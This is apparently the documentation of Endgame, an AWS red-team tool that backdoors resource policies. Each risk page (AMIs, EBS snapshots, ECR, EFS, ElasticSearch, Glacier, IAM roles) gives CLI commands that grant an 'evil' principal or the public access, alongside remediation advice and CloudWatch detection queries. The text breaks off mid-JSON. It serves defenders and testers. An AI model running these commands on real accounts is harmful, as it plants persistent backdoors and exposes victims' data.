In the context of Endgame, the most important process to understand is the one documented [here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html). This process defines how resource policies and identity policies interact when _cross-account_ calls are made to a resource, which is the most likely scenario for an Endgame victim. To summarize the document, when the principal making the API call is in a different account than the resource the call targets, both the identity policy of the calling principal and the resource policy of the subject resource must permit the call (this is different than when the principal and resource are in the same account). Endgame exploits the fact that since the attacker controls their own account, access to a resource in a victim account can be granted using the resource policy alone.
## What This Means for Defenders
### How Endgame Works
The prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies.
Endgame can run in two modes, ```expose``` or ```smash```. The less-destructive ```expose``` mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean).
```smash```, on the other hand, is more destructive (and louder). ```smash``` can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the "evil principal" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies.
These back doors largely grant access to accomplish data exfiltration from buckets, snapshots, etc. However, other things could be possible depending on the victim account's architecture. For example, an attacker could use these back doors to:
* Escalate privileges by enabling the attacker's evil principal to assume roles in the victim account
* Manipulate CI/CD pipelines which rely on AWS S3 as an artifact source
* Modify Lambda functions to include back doors, skimmers, etc for Lambda-based serverless applications
* Invoke Lambda functions with unfiltered input, bypassing API Gateway for serverless API's
* Provide attacker-defined input to applications which leverage SQS or SNS for work control
* Pivot to other applications which have credentials stored in Secrets Manager
* And more!
### Incident Identification & Containment Steps
In incidents where resource policies may have been modified (can be determined using CloudTrail, see [risks](/docs/risks/)), each resource policy should be reviewed to identify potential back doors or unintended internet exposure. The attacker's interactions with these resources should also be reviewed where possible.
CloudTrail only logs data-level events (S3 object retrieval, Lambda function invocation, etc) for three services: S3, Lambda, and KMS. This visibility is also not enabled by default on trails. Other management-level events such as manipulation of Lambda function code will be visible in a standard management-event CloudTrail trail. Further documentation for working with CloudTrail can be found [here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-getting-started.html).
================================================
FILE: docs/risks/acm-pca.md
================================================
# ACM Private Certificate Authority (PCA)
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [References](#references)
## Steps to Reproduce
* ‼️ If you are using the Terraform demo infrastructure, you must take some follow-up steps after provisioning the resources in order to be able to expose the demo resource. This is due to how ACM PCA works. For instructions, see the [Appendix on ACM PCA Activation](../appendices/acm-pca-activation.md)
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
export CERTIFICATE_ID=12345678-1234-1234-1234-123456789012
endgame expose --service acm-pca --name $CERTIFICATE_ID
```
* To view the contents of the ACM PCA resource policy, run the following:
```bash
export AWS_REGION=us-east-1
export VICTIM_ACCOUNT_ID=111122223333
export CERTIFICATE_ID=12345678-1234-1234-1234-123456789012
export CERTIFICATE_ARN = arn:aws:acm-pca:$AWS_REGION:$VICTIM_ACCOUNT_ID:certificate-authority/$CERTIFICATE_ID
aws acm-pca list-permissions --certificate-authority-arn $CERTIFICATE_ARN
```
* Observe that the contents of the overly permissive resource-based policy match the example shown below.
## Example
```bash
{
"Permissions": [
{
"Actions": {
"IssueCertificate",
"GetCertificate",
"ListPermissions"
},
"CertificateAuthorityArn": "arn:aws:acm:us-east-1:111122223333:certificate/12345678-1234-1234-1234-123456789012",
"CreatedAt": 1.516130652887E9,
"Principal": "acm.amazonaws.com",
"SourceAccount": "111122223333"
}
]
}
```
## Exploitation
```
TODO
```
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Trusted Accounts Only**: Ensure that AWS PCA Certificates are only shared with trusted accounts, and that the trusted accounts truly need access to the Certificates.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposing usage of your private CAs**: Tightly control access to the following IAM actions:
- [acm-pca:GetPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_GetPolicy.html): Retrieves the policy on an ACM Private CA._
- [acm-pca:PutPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_PutPolicy.html): _Puts a policy on an ACM Private CA._
- [acm-pca:DeletePolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_DeletePolicy.html): _Deletes the policy for an ACM Private CA._
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## References
* [Attaching a Resource-based Policy for Cross Account Access in ACM PCA](https://docs.aws.amazon.com/acm-pca/latest/userguide/pca-rbp.html)
* [GetPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_GetPolicy.html)
* [PutPolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_PutPolicy.html)
* [DeletePolicy](https://docs.aws.amazon.com/acm-pca/latest/APIReference/API_DeletePolicy.html)
================================================
FILE: docs/risks/amis.md
================================================
# EC2 AMIs (Machine Images)
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=*
export IMAGE_ID=ami-5731123e
endgame expose --service ebs --name $SNAPSHOT_ID
```
* To expose the resource using AWS CLI, run the following from the victim account:
```bash
aws ec2 modify-image-attribute \
--image-id ami-5731123e \
--launch-permission "Add=[{Group=all}]"
```
* To validate that the resource has been shared publicly, run the following:
```bash
aws ec2 describe-image-attribute \
--image-id ami-5731123e \
--attribute launchPermission
```
* Observe that the contents of the exposed AMI match the example shown below.
## Example
The output of `aws ec2 describe-image-attribute` reveals that the AMI is public if the value of "Group" under "LaunchPermissions" is equal to "all"
```
{
"LaunchPermissions": [
{
"Group": "all"
}
],
"ImageId": "ami-5731123e",
}
```
## Exploitation
After an EC2 AMI is made public, an attacker can then:
* [Copy the AMI](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-image.html) into their own account
* Launch an EC2 instance using that AMI and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information.
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Encrypt all AMIs with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)
* **Trusted Accounts Only**: Ensure that EC2 AMIs are only shared with trusted accounts, and that the trusted accounts truly need access to the EC2 AMIs.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposure of your AMIs**: Tightly control access to the following IAM actions:
- [ec2:ModifyImageAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyImageAttribute.html): _Grants permission to modify an attribute of an Amazon Machine Image (AMI)_
- [ec2:DescribeImageAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImageAttribute.html): _Grants permission to describe an attribute of an Amazon Machine Image (AMI). This includes information on which accounts have access to the AMI_
- [ec2:DescribeImages](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImages.html): _Grants permission to describe one or more images (AMIs, AKIs, and ARIs)_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='ec2.amazonaws.com' and (eventName='ModifyImageAttribute' and requestParameters.attributeType='launchPermission')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
- [aws ec2 modify-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/modify-image-attribute.html)
- [aws ec2 describe-image-attribute](https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-image-attribute.html)
================================================
FILE: docs/risks/ebs.md
================================================
# EBS Snapshot Exposure
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=*
export SNAPSHOT_ID=snap-1234567890abcdef0
endgame expose --service ebs --name $SNAPSHOT_ID
```
* To expose the resource using the AWS CLI, run the following from the victim account:
```bash
export SNAPSHOT_ID=snap-1234567890abcdef0
aws ec2 modify-snapshot-attribute \
--snapshot-id $SNAPSHOT_ID \
--attribute createVolumePermission \
--operation-type add \
--group-names all
```
* To verify that the snapshot has been shared with the public, run the following from the victim account:
```bash
export SNAPSHOT_ID=snap-1234567890abcdef0
aws ec2 describe-snapshot-attribute \
--snapshot-id $SNAPSHOT_ID \
--attribute createVolumePermission
```
* Observe that the contents match the example shown below.
## Example
The response of `aws ec2 describe-snapshot-attribute` will match the below, indicating that the EBS snapshot is public.
```json
{
"SnapshotId": "snap-066877671789bd71b",
"CreateVolumePermissions": [
{
"Group": "all"
}
]
}
```
## Exploitation
After an EBS Snapshot is made public, an attacker can then:
* [copy the public snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html) to their own account
* Use the snapshot to create an EBS volume
* Attach the EBS volume to their own EC2 instance and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information.
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Encrypt all Snapshots with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)
* **Trusted Accounts Only**: Ensure that EBS Snapshots are only shared with trusted accounts, and that the trusted accounts truly need access to the EBS Snapshot.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposure of your EBS Snapshots**: Tightly control access to the following IAM actions:
- [ec2:ModifySnapshotAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html): _Grants permission to add or remove permission settings for a snapshot_
- [ec2:DescribeSnapshotAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSnapshotAttribute.html): _Grants permission to describe an attribute of a snapshot. This includes information on which accounts the snapshot has been shared with._
- [ec2:DescribeSnapshots](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSnapshots.html): _Grants permission to describe one or more EBS snapshots_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='ec2.amazonaws.com' and (eventName='ModifySnapshotAttribute' and requestParameters.attributeType='CREATE_VOLUME_PERMISSION')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [Sharing an Unencrypted Snapshot using the Console](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html#share-unencrypted-snapshot)
* [Share a snapshot using the command line](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html)
* [aws ec2 copy-snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html)
================================================
FILE: docs/risks/ecr.md
================================================
# Elastic Container Registries (ECR)
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
expose --service ecr --name test-resource-exposure
```
* Alternatively, to expose the resource using the AWS CLI:
Create a file named `ecr-policy.json` with the following contents:
```json
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:*"
]
}
]
}
```
Then run the following from the victim account:
```bash
aws ecr set-repository-policy --repository-name test-resource-exposure --policy-text file://ecr-policy.json
```
* To view the contents of the exposed resource policy, run the following:
```bash
aws ecr get-repository-policy \
--repository-name test-resource-exposure
```
* Observe that the contents match the example shown below.
## Example
The policy shown below shows a policy that grants access to Principal `*`. If the output contains `*` in Principal, that means the ECR repository is public. If the Principal contains just an account ID, that means it is shared with another account.
```json
{
"registryId": "111122223333",
"repositoryName": "test-resource-exposure",
"policyText": "{\n \"Version\" : \"2008-10-17\",\n \"Statement\" : [ {\n \"Sid\" : \"allow public pull\",\n \"Effect\" : \"Allow\",\n \"Principal\" : \"*\",\n \"Action\" : \"ecr:*\"\n } ]\n}"
}
```
## Exploitation
```
TODO
```
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)
* **Trusted Accounts Only**: Ensure that ECR Repositories are only shared with trusted accounts, and that the trusted accounts truly need access to the ECR Repository.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposure of your ECR Repositories**: Tightly control access to the following IAM actions:
- [ecr:SetRepositoryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_SetRepositoryPolicy.html): _Grants permission to apply a repository policy on a specified repository to control access permissions_
- [ecr:DeleteRepositoryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_DeleteRepositoryPolicy.html): _Grants permission to delete the repository policy from a specified repository_
- [ecr:GetRepositoryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetRepositoryPolicy.html): _Grants permission to retrieve the repository policy for a specified repository_
- [ecr:DescribeRepositories](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_DescribeRepositories.html): _Grants permission to describe image repositories in a registry_
- [ecr:PutRegistryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_PutRegistryPolicy.html): _Grants permission to update the registry policy_
- [ecr:DeleteRegistryPolicy](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_DeleteRegistryPolicy.html): _Grants permission to delete the registry policy_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='ecr.amazonaws.com' and (eventName='SetRepositoryPolicy' or eventName='DeleteRepositoryPolicy'
or eventName='PutRegistryPolicy' or eventName='DeleteRegistryPolicy')
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='ecr.amazonaws.com' and (eventName='SetRepositoryPolicy' and responseElements.policyText like 'Endgame')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [set-repository-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/set-repository-policy.html)
================================================
FILE: docs/risks/efs.md
================================================
# Elastic File Systems (EFS)
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
> Note: The Terraform demo infrastructure will output the EFS File System ID. If you are using the Terraform demo infrastructure, you must leverage the file system ID in the `--name` parameter.
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service efs --name fs-01234567
```
* Alternatively, to expose the resource using the AWS CLI, run the following from the victim account:
```bash
aws efs put-file-system-policy --file-system-id fs-01234567 --policy '{
"Version": "2012-10-17",
"Id": "read-only-example-policy02",
"Statement": [
{
"Sid": "AllowEverybody",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:*"
],
"Resource": "*"
}
]
}'
```
* To view the contents of the file system policy, run the following:
```bash
aws efs describe-file-system-policy \
--file-system-id fs-01234567
```
* Observe that the contents of the overly permissive resource-based policy match the example shown below.
## Example
The policy below shows the EFS policy granting `elasticfilesystem:*` access to the file system from the evil principal (`arn:aws:iam::999988887777:user/evil`).
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCurrentAccount",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111122223333:root"
},
"Action": "elasticfilesystem:*",
"Resource": "arn:aws:elasticfilesystem:us-east-1:111122223333:file-system/fs-01234567"
},
{
"Sid": "Endgame",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::999988887777:user/evil"
},
"Action": "elasticfilesystem:*",
"Resource": "arn:aws:elasticfilesystem:us-east-1:111122223333:file-system/fs-01234567"
}
]
}
```
## Exploitation
```
TODO
```
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Block Public Access to the EFS File System**: Follow the EFS Guidance [here](https://docs.aws.amazon.com/efs/latest/ug/access-control-block-public-access.html) to block public access to the EFS File Systems.
* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)
* **Trusted Accounts Only**: Ensure that EFS File Systems are only shared with trusted accounts, and that the trusted accounts truly need access to the File System.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposure of your EFS File Systems**: Tightly control access to the following IAM actions:
- [elasticfilesystem:PutFileSystemPolicy](https://docs.aws.amazon.com/efs/latest/ug/API_PutFileSystemPolicy.html): _Grants permission to apply a resource-level policy that defines the actions allowed or denied from given actors for the specified file system_
- [elasticfilesystem:DescribeFileSystems](https://docs.aws.amazon.com/efs/latest/ug/API_DescribeFileSystems.html): _Grants permission to view the description of an Amazon EFS file system specified by file system CreationToken or FileSystemId; or to view the description of all file systems owned by the caller's AWS account in the AWS region of the endpoint that is being called_
- [elasticfilesystem:DescribeFileSystemPolicy](https://docs.aws.amazon.com/efs/latest/ug/API_DescribeFileSystemPolicy.html): _Grants permission to view the resource-level policy for an Amazon EFS file system_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='elasticfilesystem.amazonaws.com' and eventName='PutFileSystemPolicy'
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='elasticfilesystem.amazonaws.com' and (eventName='PutFileSystemPolicy' and requestParameters.policy like 'Endgame')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [put-filesystem-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/efs/put-file-system-policy.html)
* [Creating File System Policies](https://docs.aws.amazon.com/efs/latest/ug/create-file-system-policy.html)
================================================
FILE: docs/risks/es.md
================================================
# ElasticSearch Domains
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
> Note: The **Network Configuration** settings in ElasticSearch clusters offer two options - **VPC Access** or **Public access**. If VPC access is used, modification of the resource-based policy - whether using `endgame` or the CLI exploitation method - will not result in access to the internet. `endgame` only modifies the resource-based policy for the ElasticSearch cluster, so this will only expose ElasticSearch clusters that are set to **Public access*.
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service elasticsearch --name test-resource-exposure
```
* To get the content of the resource-based policy for ElasticSearch domain config, run the following command from the victim account:
```bash
aws es describe-elasticsearch-domain-config --domain-name test-resource-exposure
```
## Example
The response will contain a field titled `AccessPolicies`. AccessPolicies will contain content that resembles the below. Observe that the victim resource (`arn:aws:es:us-east-1:999988887777:domain/test-resource-exposure`) allows access to `*` principals, indicating a successful compromise.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "es:*",
"Resource": "arn:aws:es:us-east-1:999988887777:domain/test-resource-exposure/*"
}
]
}
```
## Exploitation
```
TODO
```
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
The **Network Configuration** settings in ElasticSearch clusters offer two options - **VPC Access** or **Public access**. If VPC access is used, modification of the resource-based policy - whether using `endgame` or the CLI exploitation method - will not result in access to the internet. `endgame` only modifies the resource-based policy for the ElasticSearch cluster, so this will only expose ElasticSearch clusters that are set to **Public access*.
* Consider Migrating from Public Access to VPC Access, if possible. This will help you avoid a situation where an attacker could expose your ElasticSearch cluster to the internet with a single API call. For more information, see the documentation on [Migrating from Public Access to VPC Access](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html#es-migrating-public-to-vpc).
However, if **Public Access** _is_ necessary, follow the steps below to remediate this risk and reduce the likelihood that a compromise in your AWS account could lead to exposure of your ElasticSearch cluster.
* **Trusted Accounts Only**: Ensure that ElasticSearch Clusters are only shared with trusted accounts, and that the trusted accounts truly need access to the ElasticSearch cluster.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposure of your ElasticSearch Clusters**: Tightly control access to the following IAM actions:
- [es:UpdateElasticsearchDomainConfig](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-configuration-api.html#es-configuration-api-actions-updateelasticsearchdomainconfig): _Grants permission to modify the configuration of an Amazon ES domain, which includes the Resource-Based Policy (RBP) content. The RBP can be modified to allow access from external IAM principals or from the internet._
- [es:DescribeElasticsearchDomainConfig](): _Grants permission to view a description of the configuration options and status of an Amazon ES domain. This includes the Resource Based Policy content, which contains information on which IAM principals are authorized to acccess the cluster._
- [es:ListDomainNames](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-configuration-api.html#es-configuration-api-actions-listdomainnames): _Grants permission to display the names of all Amazon ES domains that the current user owns._
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='es.amazonaws.com' and eventName='UpdateElasticsearchDomainConfig'
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [ElasticSearch Resource-based Policies](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-ac.html#es-ac-types-resource)
* [Migrating from Public Access to VPC Access](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html#es-migrating-public-to-vpc)
================================================
FILE: docs/risks/glacier.md
================================================
# Glacier Vault
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service glacier --name test-resource-exposure
```
* To view the contents of the Glacier Vault Access Policy, run the following:
```bash
export VICTIM_ACCOUNT_ID=111122223333
aws glacier get-vault-access-policy \
--account-id $VICTIM_ACCOUNT_ID \
--vault-name test-resource-exposure
```
* Observe that the output of the overly permissive Glacier Vault Access Policies resembles the example shown below.
## Example
Observe that the policy below allows the evil principal (`arn:aws:iam::999988887777:user/evil`) the `glacier:*` permissions to the Glacier Vault named `test-resource-exposure`.
```json
{
"policy": {
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::111122223333:root\"},\"Action\":\"glacier:*\",\"Resource\":\"arn:aws:glacier:us-east-1:111122223333:vaults/test-resource-exposure\"},{\"Sid\":\"Endgame\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:user/evil\"},\"Action\":\"glacier:*\",\"Resource\":\"arn:aws:glacier:us-east-1:111122223333:vaults/test-resource-exposure\"}]}"
}
}
```
## Exploitation
```
TODO
```
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Trusted Accounts Only**: Ensure that Glacier Vaults are only shared with trusted accounts, and that the trusted accounts truly need access to the Vaults.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)
* **Restrict access to IAM permissions that could lead to exposure of your Vaults**: Tightly control access to the following IAM actions:
- [glacier:GetVaultAccessPolicy](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-GetVaultAccessPolicy.html): _Retrieves the access-policy subresource set on the vault_
- [glacier:ListVaults](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-vaults-get.html): _Lists all vaults_
- [glacier:SetVaultAccessPolicy](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-SetVaultAccessPolicy.html): _Configures an access policy for a vault and will overwrite an existing policy._
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='glacier.amazonaws.com' and eventName='SetVaultAccessPolicy'
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='glacier.amazonaws.com' and (eventName='SetVaultAccessPolicy' and requestParameters.policy.policy like 'Endgame')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [set-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glacier/set-vault-access-policy.html)
* [get-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glacier/get-vault-access-policy.html)
================================================
FILE: docs/risks/iam-roles.md
================================================
# IAM Roles (via AssumeRole)
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service iam --name test-resource-exposure
```
* Alternatively, to expose the resource using the AWS CLI:
Create a file titled `Evil-Trust-Policy.json` with the following contents:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Endgame",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::999988887777:user/evil"
},
"Action": "sts:AssumeRole"
}
]
}
```
Apply the evil Assume Role Policy by running the following from the victim account:
```bash
aws iam update-assume-role-policy --role-name test-resource-exposure --policy-document file://Evil-Trust-Policy.json
```
* To view the contents of the Assume Role Policy that grants access to the evil user, run the following:
```bash
aws iam get-role --role-name test-resource-exposure
```
* Observe that the output of the overly permissive AssumeRolePolicy match the example shown below.
## Example
Observe that the content of the `AssumeRolePolicyDocument` key allows `sts:AssumeRole` access from the evil principal (`arn:aws:iam::999988887777:user/evil`)
```json
{
"Role": {
"Path": "/",
"RoleName": "test-resource-exposure",
"RoleId": "",
"Arn": "arn:aws:iam::111122223333:role/test-resource-exposure",
"CreateDate": "2021-02-13T19:21:51Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
